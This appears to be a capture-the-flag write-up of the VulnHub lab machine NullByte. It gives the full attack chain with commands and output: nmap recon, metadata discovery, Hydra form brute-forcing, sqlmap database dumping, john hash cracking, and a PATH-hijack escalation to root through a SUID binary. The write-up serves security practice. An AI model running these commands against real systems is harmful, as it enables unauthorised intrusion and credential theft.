CTF WRITEUP VULNHUB BLACK BOX MEDIUM

NullByte - VulnHub Medium

person

Written By

0x74shelby

Difficulty

Platform

VulnHub

Target IP

192.168.56.101

NullByte Machine
Machine: NullByte · Medium · Linux · VulnHub

NullByte is a box that rewards patience, since it's got four or five layers and each one requires a different tool. The gif metadata trick for the hidden directory is one I'd not hit before, and the PATH hijack at the end via a SUID binary running ps is the kind of privesc that looks obvious only after you've seen it. Total time was around three hours. Walked away with a clean chain and a reminder to always run exiftool on any image on a web page.

01_Reconnaissance

Standard netdiscover to confirm the target IP, then a full nmap scan. Three ports: SSH on 22, HTTP on 80, and a high port running phpbash or similar. The web server on 80 is the starting point: the landing page renders a single background image, main.gif.

terminal / netdiscover + nmap
$ netdiscover -r 192.168.56.0/24
192.168.56.101   08:00:27:xx:xx:xx   VirtualBox

$ nmap -sV -sC -p- 192.168.56.101

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1
80/tcp    open  http    Apache httpd 2.4.10
777/tcp   open  ssh     OpenSSH 6.7p1

Two SSH services: one on standard 22, one on 777. Note that for later.

02_Exiftool_Steganography_on_main.gif

The landing page has no visible links, no forms, nothing except that main.gif. Grabbed it and ran exiftool, and there's a comment field in the metadata with a directory path. Classic steg-by-metadata.

terminal / exiftool
$ wget http://192.168.56.101/main.gif
$ exiftool main.gif

ExifTool Version Number         : 12.xx
File Name                       : main.gif
Comment                         : kzMb5nVYJw

$ curl http://192.168.56.101/kzMb5nVYJw/
<form>Enter key: <input name="key"></form>

Technique - Metadata as Breadcrumb

Exiftool reads EXIF, IPTC, and XMP metadata from images. CTF authors sometimes hide hints in the Comment, Author, or Copyright fields. Always worth a quick exiftool filename on any image you pull from a target web server.

03_Hydra_HTTP_Form_Brute

The directory at /kzMb5nVYJw/ has a simple key input form. No username, just a passphrase gate. Ran Hydra against it with the http-form-post module. Got a hit on "elite" after a few thousand attempts. Behind the key gate is 420search.php, a search interface backed by a MySQL database.

terminal / hydra http-form-post
$ hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  192.168.56.101 http-form-post \
  "/kzMb5nVYJw/index.php:key=^PASS^:invalid key"

[80][http-post-form] host: 192.168.56.101
  login: admin
  password: elite

$ curl -s "http://192.168.56.101/kzMb5nVYJw/420search.php?usrtosearch=a"
[search results with user data]

04_SQLmap_on_420search.php

420search.php takes a usrtosearch GET parameter. Passed it straight into sqlmap with the cookie session, and it confirms blind SQLi within about 30 seconds. Dumped the seth database and pulled a user table with a username and a hashed password for the user ramses.

terminal / sqlmap dump
$ sqlmap -u "http://192.168.56.101/kzMb5nVYJw/420search.php?usrtosearch=a" \
  --cookie="PHPSESSID=xxxx" --dbs

available databases [2]:
[*] information_schema
[*] seth

$ sqlmap -u "..." -D seth --tables
[1 table] → users

$ sqlmap -u "..." -D seth -T users --dump
+--------+-------+------------------------------------------+
| user   | pass  | position                                 |
+--------+-------+------------------------------------------+
| ramses | [REDACTED hash] | ...               |
+--------+-------+------------------------------------------+

The hash resolves to a plaintext password via an online cracker, or john with rockyou. Took about ten seconds.

terminal / hash crack
$ echo "[REDACTED]" > hash.txt
$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5

Using default input encoding: UTF-8
[REDACTED]          (ramses)
1g 0:00:00:02 DONE

05_SSH_on_Port_777

We've got the credentials for ramses now. Earlier nmap showed SSH running on port 777 as well as 22: standard SSH on 22 rejects the login, but port 777 accepts it. Once in, we land in ramses's home directory. Not much there, but a look at bash history shows a very interesting command: running the binary at /var/www/backup/procwatch.

terminal / ssh + enumeration
$ ssh ramses@192.168.56.101 -p 777
ramses@NullByte:~$

$ cat ~/.bash_history
sudo -s
su eric
ls -lah
nano -w /var/www/html/uploads/
ps aux
/var/www/backup/procwatch

$ ls -la /var/www/backup/procwatch
-rwsr-xr-x 1 root root 4932 Aug 2 2015 /var/www/backup/procwatch
SUID bit set: runs as root.

$ /var/www/backup/procwatch
PID   TT   STAT  TIME COMMAND
3200  tty1 S     0:00 sshd: ramses [priv]
3201  tty1 S     0:00 ps

06_PrivEsc_via_PATH_Hijack

The binary is running ps without an absolute path. Classic PATH hijack. Create a fake ps that spawns a shell, prepend /tmp to PATH, run procwatch, and it executes as root, calls our fake ps, and we get a root shell. Three commands.

terminal / PATH hijack
# Create the malicious ps binary in /tmp
ramses@NullByte:~$ echo "/bin/bash" > /tmp/ps
ramses@NullByte:~$ chmod +x /tmp/ps

# Prepend /tmp to PATH
ramses@NullByte:~$ export PATH=/tmp:$PATH

# Run the SUID procwatch binary; it now calls /tmp/ps
ramses@NullByte:~$ /var/www/backup/procwatch

root@NullByte:/var/www/backup# id
uid=0(root) gid=0(root) groups=0(root)

root@NullByte:~# cat /root/proof.txt
[REDACTED]

Technique - PATH Hijacking with SUID Binaries

When a SUID binary executes another program using a relative path (just ps instead of /usr/bin/ps), it searches $PATH in order. Prepending a directory you control means your binary runs first, and because the caller has SUID root, your shell inherits root. The fix on the defender side is trivially using absolute paths. It still shows up in real-world environments though, particularly with custom internal tooling.

07_Attack_Chain_Summary

  1. 01 Netdiscover + nmap → SSH on 22 & 777, HTTP on 80
  2. 02 Fetch main.gif → exiftool → Comment = kzMb5nVYJw (hidden directory)
  3. 03 Hydra http-form-post on /kzMb5nVYJw/ → key = elite
  4. 04 sqlmap on 420search.php → dump seth.users → ramses hash
  5. 05 John / online cracker → plaintext password for ramses
  6. 06 SSH port 777 as ramses → .bash_history → /var/www/backup/procwatch SUID
  7. 07 Create /tmp/ps (/bin/bash), export PATH=/tmp:$PATH, run procwatch → root shell
  8. 08 cat /root/proof.txt → [REDACTED]